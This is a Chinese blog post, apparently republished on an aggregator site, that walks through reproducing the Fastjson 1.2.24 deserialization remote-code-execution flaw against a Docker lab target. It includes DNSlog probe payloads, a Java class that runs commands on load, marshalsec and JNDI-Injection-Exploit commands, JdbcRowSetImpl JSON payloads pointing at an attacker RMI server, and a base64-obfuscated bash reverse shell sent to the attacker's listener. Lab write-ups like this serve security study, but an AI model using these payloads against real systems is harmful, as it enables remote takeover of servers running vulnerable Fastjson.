欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 家装 > fastjson【1224--rce】漏洞初探索及复现

fastjson【1224--rce】漏洞初探索及复现

2025/3/22 21:08:43 来源:https://blog.csdn.net/China_I_LOVE/article/details/146404607  浏览:    关键词:fastjson【1224--rce】漏洞初探索及复现

机器说明

靶机:docker搭建的fastjson环境,其ip地址为192.168.10.6

攻击:

网站服务器为windows物理机,ip地址为192.168.10.9

RMI服务,也是建立在windows物理机,ip地址为192.168.10.9

fastjson判断识别

首先先确定是否为jsonjson有其特征

通过返回包判断是否使用了 Fastjson。例如,如果提交方式改为 POST,并且 JSON 字符串花括号不闭合,返回包中可能会出现 Fastjson 字样

这里可以通过burp抓取数据包,然后判断

抓取原始的数据请求,可以看到是get请求,并且json

那么现在把请求改为post,然后查看返回是否有提示

通过不闭合花括号测试,不过这里测试,发现返回 并没有提示,不过方法知道

漏洞判断

目前确定是json了,那么是否存在漏洞,进一步探测,测试是否可出网,借助dnslog

//这是老版本的构造
{"test":{"@type":"java.net.Inet4Address","val":"5go1j8.dnslog.cn"}
}//1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"5go1j8.dnslog.cn"
}

fastjson1224-rce复现

编译class文件执行命令

首先在自己的服务器上创建一个test.java文件,然后编译为class文件。java代码如下

// javac test.java
import java.lang.Runtime;
import java.lang.Process;public class test{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

然后执行javac test.java,就可以在当前目录下生成一个test.class文件,主要的就是这个文件,确保靶机可以访问到服务器。

这里还使用到一个工具marshalsec-0.0.3-SNAPSHOT-all.jar,这个在gihub上是有项目地址的,有编译好的,也有未编译好的。https://github.com/RandomRobbieBF/marshalsec-jar.git

在服务器上执行下面的语句,使得启动一个RMI服务器,监听9999端口,并指定加载远程类test.class

这里建议采用java8,我这里是安装java8后,使用其绝对路径。java8的官网下载https://www.java.com/zh-cn/download/manual.jsp

C:\"Program Files"\Java\jre1.8.0_441\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.10.9:1234/#test 9999

执行之后,这里已经开始监听了

现在就是需要通过burp抓取之前的数据包,并对其做出修改,使得其json数据中,请求了这个服务器中的文件

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.10.9:9999/test","autoCommit":true}
}

构造后,点击发送,虽然服务器的反应是500,但是通过rmi服务器可以看到成功获取了

这里看看rmi服务器的监听

但是不知道为什么,在靶机就是没有看到对应的文件。

然后我采用python3开启简易的服务,发现已经请求了test.class文件,但是不知道为什么,没有执行创建的命令

网上查了一下,这个对于java的环境要求严格,进行编译文件的javac,其版本也必须是1.8啧,去官网下载还需要再注册一下,有点麻烦了。所以换一个工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

借助另一个工具

首先还是需要java8的环境,因为前面我只下载了java8对于javac并没有下载,所以换工具

windows中执行代码,启动工具

& 'C:\Program Files\Java\jre1.8.0_441\bin\java.exe' -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'touch /tmp/success' -A 192.168.10.9

然后选择1.8版本的rmi链接,再到burp中重新放包即可

这时候去docker中去验证一下是否创建这个文件

docker exec -it 559c50c831db /bin/bash

说明命令成功了,那么再构造反弹shell测试

& 'C:\Program Files\Java\jre1.8.0_441\bin\java.exe' -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTAuOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.10.9

还是访问1.8版本的,大致如下

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.10.9:1099/97idjg","autoCommit":true}
}

然后在windows中使用ncat.exe开启监听9999端口。

这时候再通过burp抓取数据包修改,即可成功反弹shell

总结

该漏洞,主要就是因为可以出网,并且通过函数导致命令可以在请求的时候,执行相关命令

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.10.9:1099/97idjg","autoCommit":true}
}

这是主要利用代码,就是通过json格式的数据传给服务器,dataSourceName可以执行rmi中的class文件的内容

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词